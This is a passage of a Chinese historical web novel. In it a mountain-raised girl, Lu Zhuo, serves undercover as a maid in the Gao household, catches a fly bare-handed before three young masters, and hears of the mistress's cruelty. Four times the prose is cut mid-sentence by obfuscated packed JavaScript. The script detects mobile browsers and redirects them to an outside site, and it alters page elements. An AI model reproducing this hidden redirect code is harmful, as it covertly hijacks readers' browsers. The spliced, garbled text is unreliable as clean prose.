进高府要搜身，帕袋这种女孩子的玩意儿多半不会被立刻搜走，武器就不可同日而语了，所以鹿啄进高府时没带任何武器。 这两把剥皮刀是鹿啄托鹿霖到山下请人用卷了刃的菜刀三舅重新锻过，又自己磨的，骨柄来源于野猪的一对儿獠牙，野猪是鹿啄自己打的。 在啜狗山上，鹿坤和鹿霖都有自己用得趁手的武器。鹿坤用一把装有破甲锥的燕尾匕斧，鹿霖拳脚一般，擅用身法，所以带一卷装了钩子的铁链，钩子勾住岩石峭壁后，鹿霖可以踩着铁链在山里“飞”行。 这些武器都是从娘为她们量身打造的，鹿啄上山时因已没了从娘，她只能自己琢磨。带着些对姐姐们的小小艳羡和不服输，她最 后打成了这两把剥皮刀，但野猪牙不好保养，天气干冷便生裂纹，鹿啄只能一有功夫就给刀上油，最后还是让两个姐姐笑了一通。 在桌子上给赁主留了钱和字条，鹿啄又看了看鹿霄的三封信。 最早的一封是去年鹿霄、鹿霖、鹿荇三个上京后寄来的，信里说京城情势复杂，叫她们留在啜狗山上，不要来找。 最后一封是叫鹿啄回啜狗山上去。 还剩一封，是今年年关时寄来的，洋洋洒洒，指点鹿啄和鹿苓设法到青州，混入高府，随高家上京。致使鹿坤和鹿坪死去的真凶 就在京城，且多半与高家有关，鹿霖已为此事丧命，她们不能再莽撞行事。 信尾，鹿霄又特意交代，不可二人同时进府，要有一人留在外面接应，若非不得已，也不要让鹿啄进府，毕竟鹿啄的脾气容易生事，鹿霄怕她遭人害了。 可聪明的三姐姐又有没有算到，死的会是鹿苓呢？ 鹿啄把鹿霄的三封信都烧了，她纵然还有对姐姐们的牵挂，可世上已无处去寻她们的身影，留着信，只会徒增麻烦。 背起包袱，鹿啄到门口驾车，赶在高府早间交差前，将高四儿送了回去。 说是“送”他回府，实则到了府门左近，鹿啄便将高四儿从车厢里拽出，丢在车辕上，把缰绳塞进他手中。至于他这一身伤痕如 何向府中交代，便看他自己的造化、口才，以及想不想活命了。 马车一进高府，不消片刻，就有人惊叫着围了上来，门边乱作一团。鹿啄趁乱自人丛边缘闪身而过，末了，回眸一睨，目光直刺 向马车上面如死灰的高四儿。 只一眼，高四儿险些骇得尿了裤子。 他哭着跟高府众人说自己回来的时候天黑，没看路，人从车上滚下去，让马车拖了几里路才停下。这个说辞恰好能匹配上他一身的伤，没人能疑心什么，都七手八脚地去抬高四儿。 鹿啄看见上去的人群里也有张婆子，便知道自己不用去跟张婆子解释了，转身直奔拱辰轩。 正如鹿霄的信里所说，她还是要跟高家上京去，高府丫鬟的身份至少要维持到那时。 再者，蝶式云肩的花样子、枕顶、还有那件不见庐山真面目霞帔，都是鹿苓的东西，在殷碧的事了结前，都要拿回来。 转过□□，拱辰轩的外面站着一个丫鬟，好像已经在那里等了多时了，看见鹿啄过来，远远向鹿啄招手。她应是除曾经的凝儿以外，另一个在拱辰轩服饰的贴身丫鬟，院里要来新人，总不好叫小厮去接应。 鹿啄点了个头，算是回礼，走到近前，那丫鬟看了看鹿啄的包袱，问： “重吗？” “不。” 对方昨晚已听说了这位新“同僚”规矩方面的问题，也没表现出什么，又道： “我叫原棠。” “阿啄。” 两人一时都没有后话了。 原棠这名字跟新桐、初柳像是一系，大概是高容英院子里拨来的。 谁也不开口，两人就这样僵持了一会儿，院子里有小厮要去给高克正取早食了，路过院门，嗐了一声： “站这儿干嘛呢？怎么不进去？” 原棠恍然回神，点头要带鹿啄进去，那小厮笑道： “阿啄姑娘，你可别多想啊，原棠姐姐是腼腆的人，她怕不跟你说些什么怠慢了你，又不知该如何说，可巧你也是个话不多的。” “没多想。” 鹿啄错身跟着原棠进院，在正房后头，廊下搭了一个两开间的下房，跟鹿啄在外头暂住的屋子格局相似，只是略小一些，原棠指 着右手那间： “你住这屋好吗？原来凝儿是住配房的，我想她不近身来伺候，住配房方便些，就应了。可没想到……” 没想到她是为了去灶房藏赃方便。 鹿啄没让她再往下说，点了点头： “我放东西。” 尽快收拾停当，院子里还有事，哪怕能交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030551|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给丫鬟们伺候的并不多，也不是真就闲人一个了。 鹿啄把其它东西都放在梁上一块儿平坦的地方，她不能确信原棠会不会也经常到她的屋子里来“察看”。又从装着飞蝗石的袋子 里抓了一把，塞进随身带着的帕袋里。给她准备的衣服是一件细绵月白交领短衫，并一条云灰色百褶罗裙，外罩刚刚过腰的青灰 比甲。 这不是干粗活的打扮，而且不方便上房顶。 纵然嫌弃，鹿啄还是麻利地穿了，走出房门，原棠仍在外头等她。 “三少爷正在用饭，咱们一般是布菜，比如少爷想吃什么，你看他的眼神，把那个菜搛给他就是。” 两人并排在廊下走着，原棠知道她从没近身伺候过人，就一样一样的讲： “饭和汤要是没了，要及时地添，你不添，他自己是不会站起来的。” 这一点无论少爷小姐，所有要人伺候的主子们都是这样。 “现在是夏季，少爷用饭的时候，还要在旁打扇，既是为他送风祛暑，也驱赶蝇虫，他吃好了，就递清水和巾子给他净口，再收了碗筷交给小厮们，哦，我还忘了说，菜传回来，置器安箸也是咱们的事。” 鹿啄忽然打断她： “我能扫地吗。” 原棠有些为难： “虽说是让你顶凝儿的缺，但太太又嘱咐院里的杂事还是男人们做的好……” 鹿啄不愿理会殷碧又吩咐了些什么，也懒得去争辩，轻轻“嗯”了一声。 “你要是不想伺候他用饭，”原棠说话的声音很轻柔，似哄着鹿啄一般，“那要不要到书房去上值？我听说你识的字多，不知你会 不会写？文房四宝一类，你熟不熟？” 说话间已经到了正房门口，小厮捧着菜盘站在两侧，鹿啄细看了一眼原棠。她不像北方人的长相，眉眼都是细细的，脸上白净清 秀，气韵清疏，神态也总是平和娴静，叫鹿啄不想为难她。 “我听你安排。” 她说完，作势去接小厮手里的菜盘。 “多谢。”原棠冲鹿啄一笑，脸上有点红，“那咱们还是一处当值，你看我做什么，你就做什么，可好？” 这一笑不知为什么，勾起鹿啄心中的酸涩和难过，她点点头，漠然接过菜盘，不再看原棠。 正房的门开着，高克正不在，没结亲的少爷们起床梳洗都是书童和小厮伺候，这个时间鹿啄学着原棠的样子布了菜，原棠主动说要去打扇，鹿啄知道这是她怕打扇累，鹿啄会不想做。 可实则原棠另外还有一个想叫鹿啄和高克正快点熟悉起来的心思，日后在一处过活，要是高克正偏了这个，短了那个，薄待了鹿 啄，说不准鹿啄会跟她生闷气。 但可惜她一片善心，鹿啄却并不领情。 这委实难以领情。 抓个虫子扇个扇子鹿啄尚且认为必要，可搛菜添饭这样的事她找不出不让高克正自己做的理由来，若真让她伺候高克正吃饭，高克正大概最多只能吃一碗，且只能吃着眼前的菜。 22. 三少爷的饭 说曹操曹操到，高克正从屏风后走出来。 他跟高容英生着一脉相承的长脸，只是更有棱角些，好在脖子并没那么细长，肩膀也不窄，与其说不窄，不如说其实是一副很适宜练武的身板。今日他穿一身雨过天青色的直裰，只在领口、袖缘处用深一色的青线暗织了云纹滚边。 比起长兄的冷峻和二哥的风流，他在打扮上介于丝毫没用力和狠狠用力了之间，两道文气的玉羽眉下，一双从高彦韬那里继承来 的大眼睛，瞄着鹿啄的神色。 原棠给高克正行礼，鹿啄也依样敷衍了一下。 高克正心里琢磨： 说是仰慕他，也确为他花了心思的。原以为她容貌不佳，不爱打扮，只是个实在人，可今日穿上了二等丫鬟的衣服，竟然也有些 说不清道不明的好看，莫非为他施了妆吗？可要是这样的花心思，怎么又不见她笑？日日伺候，早就看惯了的人都会朝着他笑一 笑呢，怎么阿啄从来也不笑？是太规矩，不敢逾越吗？ 也不该逾越的。 他想得太多了。 高克正劝说着自己，尽量像往常一样在桌边落座，拿起筷子。原棠如常给他舀了一碗薏苡粥，又搛了酱菜出来裹在粥里，递到高克正眼前。 香醇浓稠的薏苡粥发出阵阵粮食的清香，只是面上那层粥油柔韧的起伏着。 “……” “阿啄，风有点大。” 吹得粥都起皱了。 鹿啄单手持扇，根本没看高克正，听他这么一说，才回过头来，只见高克正的发丝在风中徐徐飘动，恍如置身原野。 她收了些力气，但并不服气。 轻轻柔柔地扇，鬼才能扇走苍蝇。 屋里没话，只有高克正在心里想，阿啄真肯为他卖力气。 这早食安静地用了一刻钟，外面忽然进来一个小厮，快步到门口停下，对高克正躬身作揖道： “三爷万福。” 高克正放下碗筷，很和气地答他： “不必多礼，什么事？” 小厮得令站直了身体，脸上喜气洋洋： “回三爷的话，二爷来了。” 兄弟之间串门，没有让人等在外面再通传的道理，所以小厮是先一步进来，但他话音刚落，高克行就在他身后出现了。这位风流 种子长了张极具攻击力的俊脸，桃花眼、仰月唇，似笑非笑，看谁都情深义重的样子。 他身着红色缂丝缠枝莲纹的交领袍，内衬月白色真丝中衣，像一朵盛放的芙蕖，巧妙的中和了艳丽与雅致。 高克正赶紧起身去迎二哥，但刚到近前，就叫高克行摁住了。 “说你多少回了，咱俩是二哥不说三哥，骨肉兄弟，今天长兄都不在，你还见外？” 高克正腼腆一笑： “二哥，你吃饭没有？” 没有。 高克行是来体验拱辰轩日新月异的服侍的。 说白了。其实是来试探鹿啄的。 昨日在陆姨娘那儿，借着凝儿的事陆姨娘指责了一阵高克肃活得像个和尚，屋里一个女人都没有，叫外人看了，知道的说他清高 自持，不知道的说他有独特癖好。高克行本来也想借此机会揶揄大哥两句，但没想到大哥却提起了另一件事。 那个叫阿啄的丫头，或许会武。 纵然大哥说的言之凿凿，高克行最终也没相信，那丫头瘦得只剩一把骨头，能会什么武？更不要说拉住大哥叫大哥不能挣脱了。 根本就是他自己疏于练习，产生了错觉。 不过虽说是不信，但兄长就算说鱼是在天上飞的，他也会在心里揣度一下，并寻机会扔两条鱼上天试试。尤其高克肃并不能确定这丫头的武艺是个什么境界，叫他去拱辰轩的时候多注意，那他自然就来注意了。 原棠又拿了一副碗筷过来，也按高克正的用法给高克行夹了菜，鹿啄在一边微微挪动了个角度，使两人都能吹到一点风。 随后，便是长时间的沉默。 席间无人说话，两个丫鬟也只是做自己的事，高克行两三次试图跟鹿啄搭话，最终也只收到了一些“嗯”“是”“有”之类的答案， 最多没有超过两个字的。 高克行耐心到了极限，把筷子往桌上一放，扭头对高克正说到： “这下算好了，你院里成了哑巴窝了！” 他何时有过这种待遇，平时都是小丫头们抢着要跟他说话的！ “二哥，”高克正冲他一味地笑，“我这儿都是笨的，不会说话，怕惹你不高兴。” “我就那么没出息，跟丫头生气？” 他长得俏，却有一身的市井爷们习气，论性格，在三兄弟中其实最像武夫，与外在完全不同。 这话高克正不知道怎么答了，说是吧，那明显是不敬重二哥，说不是吧，又有点太认真。他想了想，还是说： “不会，二哥十分宽宏大量！” 这话却也没法接了，幸而刚刚来传话的那个小厮又跑了进来，躬身作揖： “二爷，三爷，大房的大爷来了。” 两人闻言都是一怔。 大房的大爷，是高彦韬大哥高彦邦的儿子——高克己。此人已经成家，跟妻房在内院里曾氏的院子边上住着，平素就喜欢在外院 溜达，但最爱的是去吃高克肃的闭门羹，或是到高克行的延晖阁里附庸风雅，很少往垂拱轩来。 “追着我来的？”高克行皱着眉，手上剥着一颗水煮蛋。 “这不清楚，您看是不是到门口迎迎？” “行，我会会他。” 高克行说着把剥了一半的鸡蛋往鹿啄手里一塞，人站起来出去了。 院子里传来两边见礼、客套的声音，高克正犹豫半天，也追了出去，只剩下两个丫鬟站着。 鹿啄不动声色地又把那个鸡蛋放回桌上，原棠看看她，笑着摇头。 谈笑声由远及近，高克己和高克行在前头，高克正在后，三人又回到正房，沿着桌边坐下，高克行看到了桌上的鸡蛋，没说话， 捡起来继续剥，边剥，边听那边高克己问： “行哥儿今日怎么没把素馨带着？” 这话问得极其失礼，也不是成家了的少爷该有的言行。高克行把鸡蛋往嘴里一丢，既然对方不顾礼仪脸面，他也不顾，边嚼边 道： “她是丫头，我是爷，我去哪儿还得她牵绊着？不爱带就没带。” 像是听不懂话里的好歹，高克己又追问一句：< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030552|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我看素馨平日里乖巧的，又是你姨娘身边赵婆子的亲戚，你们在京城不也见过，怎的还生分了？” 高克行理也没理他，转头对鹿啄道： “我想喝茶，喝龙井，这鸡蛋噎人。” 原棠笑着一欠身： “阿啄刚来，不知道东西收哪儿了，我去取来，二爷稍候。” 说罢，原棠转身出去了，出门前还拉了鹿啄一把，鹿啄会意，跟她走出两步，原棠在她耳边轻声道： “我看二少爷有点生克己少爷的气，他再使唤你，你别拒他，我怕他拿你撒火儿。” 鹿啄点点头： “多谢，你快去快回。” 这边原棠刚走，鹿啄回过身来，就见高克行确实是一副冷脸，筷子摆在桌子上，也不吃饭了，插手盯着高克己： “我跟一个丫头见没见过，我不会放心上，倒是大哥多有留心。大哥既然这么喜欢，去我房里领走就是了，何必来我眼前找我的 不痛快。” 他说着话，眼前飞过一只苍蝇，这苍蝇其实一直都在，只是鹿啄打扇子的时候有意朝着苍蝇的方向扇，它才一直没过来，这功夫 趁鹿啄去跟原棠说话，苍蝇又雄风再起，盯上了一碟焦蒸肉饼。 高克行借题发挥： “苍蝇逐臭，他也知道这拱辰轩里有荤腥，在这儿飞个没完。” 他又看一眼鹿啄： “阿啄，过来打扇。” 三个人，就她一把扇子，要她怎么打？还是说有一个人就应该不打？不管怎么打，高克行都有说辞，鹿啄干脆不打了。 她从矮柜上拿起用来漱口的茶盏，茶盏里现在还是空的，鹿啄一手拿茶盏，一手拿盏盖，走到高克行身后，都没人看清她是何时 出手的，下一刻，那苍蝇已经被鹿啄两手一合，扣进了茶盏里。 鹿啄一欠身： “我去换茶盏。” 桌上三个人脸上五光十色。 苍蝇这东西，速度极快，又灵巧，往往是人还没走到身边，它就飞了，就算是用手拍，用扇子扑，都未必能准确地击中，但鹿啄 就像是知道苍蝇要往哪儿飞一样，不费吹灰之力地一合手，不失优雅地完成了旁人费力也做不到的事。 高克己先反应过来，脸上露出了一个十分恶心的笑容： “正哥儿，你看我，竟忘了问你，这位生面孔的姑娘是？” 在这方面，高克正没有高克行敏锐，完全没发现刚刚原棠已经叫过鹿啄的名字，但高克己没反应，现在又特意地问。 他自然答了： “她叫阿啄，今天新来我院里的。” “哦，阿啄。” 高克己意味深长地发出一段声音。 这个名字他听过的，曾氏跟他讲了郑婆子被赶出去的事，他当时没注意，原本他就并不在乎什么郑婆子，也不在乎凝儿，因为一 个太老，一个太刁，他觉得倒胃口。 他最喜欢故作清高的，尤其是自认会读书的，越有才情的越好，如果这种没有，那就是有挑战性的，脾气烈的，会点花拳绣腿就 更加完美了。只有这两种，才最叫人过瘾。 没想到来了一趟三房，两种都叫他遇上了。 23. 忌克 阿啄取了茶盏回来，就见桌上三个男人齐齐望着她。 对此她早有一套说辞，毕竟会武这事藏着掖着也瞒不了太久，更何况她也不想瞒。 “我在山里长大。” 她的说辞就是说实话。 高克行知道这是解释刚刚抓苍蝇的事，许是他脸上的狐疑太明显了，就又低了头，看着面前的菜。这说法说得过去，也能解释为 什么兄长叫她拉住了，毕竟山里长大的，力气大很正常。甚至可能她父母死后她又一个人生活过一段时间，傻力气也练得有章法了。 既然有了说法，高克行打算回去了，跟高克己一桌他实在吃不下饭。 “三弟，我回了，午后查你功课再来。” 他说话间已经起身，原棠正拿着茶水进来，见他起身，就小声问： “二爷，茶来了，您用了再走吧？” 高克行已经走出两步，听见原棠问，回身一笑： “不喝了，赏你，还有阿啄。” 像是有意要破坏这氛围似的，高克己也站了起来： “行哥儿且住，我与你一道去，上次在你那儿赏的虎丘小景图，我还意犹未尽。” 已经下了他的面子，他还要追来，高克行不耐，但又不能真跟大房的堂哥撕了脸，只能不说话，等他追上来一起走了。 拱辰轩的正房里又一次陷入了安静。 半晌，高克正叫原棠拿了帕子和茶水净口，做完后，他把桌上没人动筷的煎蒸肉饼向鹿啄推了推： “这个没人动，你们分了吧。” 其实他并没吃饱，只是被那句山里长大的话震住了。 一个女孩子，在山里长大，要受多少苦。 高府下人的饭他看原棠和小厮们吃过，委实不怎么样，单吃这些，气色怎么能好，人怎么能有精神呢？更何况鹿啄原来是粗使丫 头，那么重的活啊。 但事情放在鹿啄身上，又是另一回事。 她并非吃不到好的，而是有意不吃。 在山上，逐娘就烧的一手好菜，她把这本事教给了二姐鹿坪，鹿坪又根据各路山珍的特色琢磨着调味，分到她手里的体己钱，几 乎都用来买香料了。吃着她手里做出来的菜，鹿啄并不觉得自己是没吃过好东西的人。 现在不吃，是怕忘了鹿坪所做菜肴的味道。 两个丫鬟谢过高克正，将肉饼留下，其余碗碟由小厮们撤走。 剩下的时间，高克正会在书房读书，做做样子。 原棠端着肉饼和鹿啄回到下房，又温了些热菜汤摆在桌上，另有一壶龙井茶。刚落座，原棠便搜肠刮肚地思索吃饭时该跟鹿啄聊些什么。 突然，她有了灵感： “阿啄，你知不知道，老太爷和太夫人的病好得差不多了？” 高家回到青州，就是为了两位高堂的病，若不是他们一起病了，高彦韬未必会回得来。可能是平时吃在一处，住在一处，老两口病也病在一处。倒不是棘手的疫病，可病势凶险，来得飞快，一晚上，两个人就人事不省。 大夫瞧了，说是与暑热有关，夏日不用冰，硬憋出来的病。 “不知。” 鹿啄不吃肉饼，舀了两勺汤在碗里，又想了一下，才道： “病好了会如何？” 这是给原棠把话接下去的台阶。 “病好了，少爷和小姐们就要每日去晨昏定省，咱们也跟着三少爷去内宅。” 倒是好事儿，能借机把殷氏房里的人，一一跟名单对上。她又给原棠抛了个话头： “你怎么知道。” “我听人闲聊听来的。” 原棠脸上有点红，她虽然不爱说嘴，但爱听这些风声，院里没人知道她有这个小癖好。 见她如此，鹿啄主动伸手，拍了拍她拿着筷子的手： “我也爱听。” 知道鹿啄是在体贴自己，原棠又笑了笑，把肉饼推到鹿啄眼前： “你也吃，这是三少爷赏的。”说完，她鼓足了勇气，又补了一句，“你不知道，三少爷平日里吃得多，从没有剩下的，这是头一 遭。” 天天晚上在院子里练射礼，有剩下的才怪。 在背后议论主子，往小了说是长舌，往大了说是不忠，原棠也不知道自己为什么没来由的信任这个阿啄，可能是她们秉性相似。今天她看阿啄把高克行给她的鸡蛋又放回桌上了，须知高克行并不一定会把鸡蛋要回来，就算要回来，也是一种私相授受，别人 求还求不来。 阿啄虽然面上看着不懂规矩，但实际上是最有分寸的人，她想跟鹿啄多说些话。 但没等她开口，鹿啄先道： “他在练射柳。” 院子里摆着三棵大柳树，还有没拔出来的柳枝，只有完全不懂这些事的人才猜不出他在干什么。鹿啄只是不想接关于肉饼的那个 话题，又不想叫原棠觉得她不愿与她共享。 果然，原棠也知道： “那动静那么大，别人想不知也难。” 原棠叹了一口气： “是我们二小姐叫他去练的，三少爷为人是刻苦的，我不该这么说他，可才学上……确实有些不济。” 不是“有些”不济，是太不济了。 “家里的太太是威节侯府出来的姑娘，威节侯在军中颇有人望，考武举的关系也能走动。我们二小姐想着，太太没儿子，将来一 定是要依靠一个庶子，自然关系不好也是要奉养主母的，只是不比有个真正贴心的知冷知热。” 听到殷碧在其中有关系，鹿啄听得用心起来。 “所以二小姐让三少爷苦练，等严家来了，必是要跟严家还有殷家的公子们射柳取乐的，到时在太太和殷家的人面前露了脸，以 后就顺当了。” 高克正也好，原棠也罢，在鹿啄心里都是不坏的人，她并不想叫他们痛苦，可如果依附殷碧，痛苦只在迟早。 “那他的亲娘呢。” 鹿啄把话头引到杨怀薇身上，若要阻止儿子去依附并非自己生身母亲的人，只能抬出真正的生身母亲。 “杨姨娘是愿意的。”原棠脸上露出几分悲戚，“比起她自己的体面与处境，她更想儿子过得好。” 怪不得，鹿啄想起与郑婆子对质当日，殷碧去搀高克正，杨怀薇可是动也没动。鹿啄又问： “若是所托非人呢。” “大抵一定会所托 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030553|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非人吧。” 原棠给了个意料之外的答案。 “但少爷要是真的练成了，也能自己去闯一番天地，总好过在自己不擅长的事上与他人相争，怎么争得过。” 这个他也不擅长。 鹿啄暗暗想到。 而且这高克正说来也怪，怎么姐姐、丫鬟、生母，一个个都像是他的娘亲，竟没一个人把他当做是能给自己做主的。不过鹿啄有 更关心的问题： “为何说一定。” 这又是要原棠去议论主子了，原棠不好直说，只能似是而非地答： “太太跟面上看着的不一样。” “怎么不一样。” 见鹿啄不肯罢休，原棠想不出话来搪塞她，又及想着刚刚鹿啄说她也爱听闲话，这给了原棠一些想向知音倾谈的念头，她挑挑拣 拣讲了一件事： “你见过大少爷吧，就是东边含章馆里的克肃少爷。” 鹿啄点点头，原棠继续道： “大少爷还小的时候，太太想过要扶植他，但可能被大少爷拒绝了。其实无论大少爷二少爷，都是不会舍了生母的。从那以后， 太太就恼了大少爷，明知道老爷不叫没有官身的时候跟女人拉扯不清，她就硬要给大少爷院里塞美貌的，还有这种的。” 原棠用手在胸前比划了两下，示意是个丰腴美人的样子。 “那时候大少爷还小呢，哪里懂这些，后来有段时间，我看他瞧见女人都有些怕。可这还不完，我们在京城的时候，日日要晨昏 定省，我有几次跟三少爷在外院等着，大少爷在里头，一等就是半个时辰，后来大少爷出来了，脸上不是有掌印，就是被泼了热茶。” 不光阴狠，而且锱铢必较，忌刻褊急，鹿啄渐渐皱起眉头。 “她是主母，大少爷但或顶嘴抵抗，就是犯上不孝，也不能到老爷那里去告状，这议论上亲是一遭，更何况大少爷屋里那么多女 人，连老爷都恼了他。直到后来大少爷中了解元，分了院儿，才把屋里人都打发了，也少到主母那里去，这才好了。” 对于他人的一点点违抗都无法容忍，也不许别人在她面前有自己的想法和主意，这一点殷碧的女儿倒是很像她。 一口气说了许多，原棠喝了口茶水，她的腼腆来于不敢轻信他人，但要是信了，那点爱好也就藏不住了。 连原棠这个杨姨娘屋里出来的人都知道这么多，别人对殷碧的事只会知道更多，可殷碧看重的是什么，鹿啄并没搞明白。以她的 性格，是不可能看重高克正的，如果说她最看重自己的女儿，那又不会连番多次在庶子之间试探。 原棠正仰头牛饮龙井，并没注意到鹿啄看她的目光。 那是鹿啄在心中，将恩怨分明的目光。 逐娘没生在光明的地方，也没生在一片漆黑的地方，她生在晦明之交，遍观了人世的无奈，深谙俗世无可避之局。为了不让她的 孩子们心中生出尘，她只教她们识得黑，辨得白。 鹿啄是其中，将这些记得最深的那个。 为了无谓的事害了她们的人，她要叫这些人唯有惨字而已；可不为任何事帮了她的人，她也势必回报。 24. 色中饿鬼 延晖阁，顾名思义，是高府最早迎接晨曦亦最晚告别夕阳的所在。 穿过院门，便见一架重瓣粉紫的西府海棠开得正盛，如云似霞；复行几步，一条以五彩鹅卵石精心嵌成流云纹的小径，蜿蜒通向正房。 正房的门槛似乎都比别处低些，无声地欢迎着络绎不绝的访客。掀开湘妃竹帘，清雅中带着一丝甜腻的合香气息将人拥住，是檀香混合着某种异域香料的味道，不浓，却无处不在。 整个空间，极力营造着一种不经意与唾手可得，叫每个来到此处的人得知： 看，我无需刻意追求，这一切美好与风雅，生来便与我相伴。 那副叫人“意犹未尽”的虎丘小景图以立轴装裱，悬在紫檀木画案对面的主墙上，高克行一手撑下巴，冷淡地瞧着高克己假意欣赏的模样。素馨就在一旁垂首侍立，神态恬淡。 高克己故作姿态： “妙极！妙极！罄室先生写虎丘，不徒形似，更得其幽静之致，画意盎然。” 一句奉承还不足以他夸耀自己的博闻广识，他继续道： “不愧是文太史的高足，吴门正脉。此画颇有君子之风。” 可你却不怎么行君子之道。 高克行睥睨此间，仍不做声。 少顷，高克己大约是词穷了，转弯抹角地到高克行身旁坐下，有意无意地刮到了素馨的裙角。他与高克行交情一般，除了时常上 门骚扰外，有雅集宴请一类，高克行从不叫他，现下直愣愣坐到高克行身边，引来对方一个轻笑。 “堂哥赏好了？” 高克己还是一副什么都没看出来的样子，点点头： “要我说，叔父还是最疼爱你，罄室先生的真迹一画难求，据说求画者接踵于道，三叔父竟为你找来一幅，只用于装点祖屋住 处，叫我也能沾你的光，长长见识。” “哪里，”高克行看也不看他，“比不上大伯父为堂哥寻得那许多美娇娘，七个八个摆了一院子，羡煞旁人。” 正常人哪里会听不出这话里的讥讽，但高克己偏偏颜色不改，转了个话头： “听说明日吴同知府上，要摆雅集？” 高克行笑了： “是，堂哥没收着帖子？该是吴同知家的公子也知道堂哥家里事繁，不叫打扰？” 青州是个庙小妖风大的地方，尤其是近来，浅水中混入了许多来头不小的王八。 当朝二品，山东承宣布政使万大人家的少爷随任，在省内游学、访友，逛到了青州府；三品京官，大理寺卿严家的少爷访亲，虽 然十日后登门高家，但人已经在青州境内了；再来，就是高家的三房，同样是当朝三品的京官，右副都御史高彦韬的家眷。 这京官、地方官、风宪官的三角之势本就复杂，还有一众挤破头结交的青州府官宦往前凑，以至于连日来雅集不断，渐渐地高克 肃和高克正开始借故推诿，只有高克行一直兴致勃勃。 作为青州知府的嫡子，高克己本该是承办雅集最多之人，奈何他既无银钱，也无人缘。 但这也不代表他就不关心，反而，他有些野路子上的消息： “我有一桩趣闻，想跟行哥儿一叙。” 高克行长叹一声： “没人缝堂哥的嘴巴，只管说。” 这位堂兄弟脸皮上的功夫修炼得炉火纯青，也有可能是根本不在意高克行的说法，他低声道： “你还记得上个月的雅集上，万家的小少爷拿了一幅宋画《秋山萧寺图》，艳惊四座的事？” 这怎么会忘，高克行放浪形骸，却不是不学无术的人，他知道那幅画远不止是财富的展现，更是身份、品味、学识、文化修养乃 至“天命所归”的象征，历经两朝战乱，手上有一副宋画真迹，这岂止是艳惊四座，简直就是把严家和高家的派头踩在脚底下。 万家是地方长官，素来矮京官一头，纵然贵为二品，但比三品京官差之千里，他一直暗中攒劲想要高家、严家高看一眼，这是青 州文人场上不说破的默契。 高克行微微侧目，等着堂哥的下文。 “画是赝品。” 话音方落，高克行大笑： “堂哥的一张巧嘴，说真就真，说假就假呗。” 《秋山萧寺图》高克行没细看过，他自傲，别人要来踩他的头，他没有上去奉承的道理，但就算没近看，也能知道那画用纸是古 纸，笔法也是宋画的笔法，今人要仿，难于登天。 “看来行哥儿久在高官显宦世家公子之间行走，并不知世上专有些脏法子，能以假乱真。” 他讥诮高克行天真，但也只是略微还手，比起高克行揶揄他的，这算得上没脾气了。说罢，高克己又伸出两根手指，晃了晃： “那是一幅二层揭。” 二层揭是古书画作伪的绝妙手段，用这种手段制成的赝品，已越过了普通赝品的范畴，因为它本身就是真迹上分离出的“骨 肉”，几乎拥有真迹所有的细节。 作伪者首先要入手一张古画的真迹作为材料，通过揭画将其命纸揭分为两层，从而得到两张带有古画笔墨和印章痕迹的“古 纸”，再在其上补墨全色，重新装裱，制成赝品。 高克行并非没有听过这样的作伪手段，但二层揭本身作伪的成本就极高，对作伪者的手艺要求也高，少有他这个年纪的少爷公子 们亲眼目睹过。 如果是这样的说法，高克行不由得信了几分： “那堂哥是从何得知的呢？” “行哥儿久不在青州地界活动，这里的风不往你那儿吹，这是万少爷自己酒后失言，露给了娼姐儿。” 高克行失笑。 窑子里的风当然不会往他这里吹。 但如此看来，倒是没少往高克己的院子里吹。 “堂哥既然知道了，怎么不去揭了万少爷的老底，也风光一回。” 哪里能风光，没有实据，在雅集上说自己是从做娼的人那里听来的，山东布政使家里的公子为卖弄作假，丢脸不说，谁会信？高 克行只想拿他逗闷子罢了。 “行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030554|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥儿莫要取笑我了，我不是连张帖子都没收到吗？”高克己脸上仍是一片祥和，起身拱手，“瞧着也到了传午饭的时间了，我 得回去与你堂嫂用饭，免得她等，少陪了。” 高克行只略微抬了抬眼皮，冲着身后的素馨一挥手： “去，送送你克己少爷。” 